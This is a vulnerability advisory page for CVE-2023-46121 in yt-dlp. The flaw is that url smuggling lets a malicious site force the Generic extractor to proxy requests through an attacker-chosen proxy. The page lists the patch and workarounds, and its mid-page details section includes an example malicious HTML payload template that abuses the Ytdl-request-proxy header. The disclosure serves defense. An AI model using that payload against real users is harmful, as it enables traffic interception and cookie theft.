CWE
444 613
Advisory Published
Advisory Published
Updated

CVE-2023-46121: Generic Extractor MITM Vulnerability in yt-dlp

First published: Tue Nov 14 2023(Updated: )

### Impact The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases. <details> To pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of "url smuggling". This works by adding this extra data as json to the url fragment ("smuggling") that is then passed on to an extractor. The receiving extractor then "unsmuggles" the data from the input url. This functionality is intended to be internal only. Currently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example. Additionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`. However, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself. This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.** This could allow for the following, but not limited too: - An attacker can MITM a request it asks yt-dlp to make to **any** website. - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker. - Fortunately most sites are HTTPS and should be setting cookies as secure. - An attacker can set cookies for an arbitrary site. An example malicious webpage: ```html <!DOCTYPE html> <cinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D') ``` Where `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through. </details> ### Patches - We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. ### Workarounds - Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content. - Take caution when using `--no-check-certificate`. ### References - <https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x> - <https://nvd.nist.gov/vuln/detail/CVE-2023-46121> - <https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14> - <https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb>

Credit: security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
pip/yt-dlp>=2022.10.04<2023.11.14
2023.11.14
Yt-dlp Project Yt-dlp>=2022.10.04<2023.11.14

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the vulnerability ID for this MITM vulnerability in yt-dlp?

    The vulnerability ID for this MITM vulnerability in yt-dlp is CVE-2023-46121.

  • What is the impact of this vulnerability?

    The impact of this vulnerability is that an attacker can set an arbitrary proxy for a request to an arbitrary URL, allowing them to perform a Man-in-the-Middle (MITM) attack on the request made from yt-dlp's HTTP session.

  • How can this vulnerability be exploited?

    This vulnerability can be exploited by an attacker by setting an arbitrary proxy for a request made from yt-dlp's HTTP session.

  • What is the severity of the vulnerability?

    The severity of this vulnerability is medium, with a severity keyword of 'medium' and a severity value of 5.

  • What is the recommended remedy for this vulnerability?

    The recommended remedy for this vulnerability is to update to version 2023.11.14 or higher of yt-dlp.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203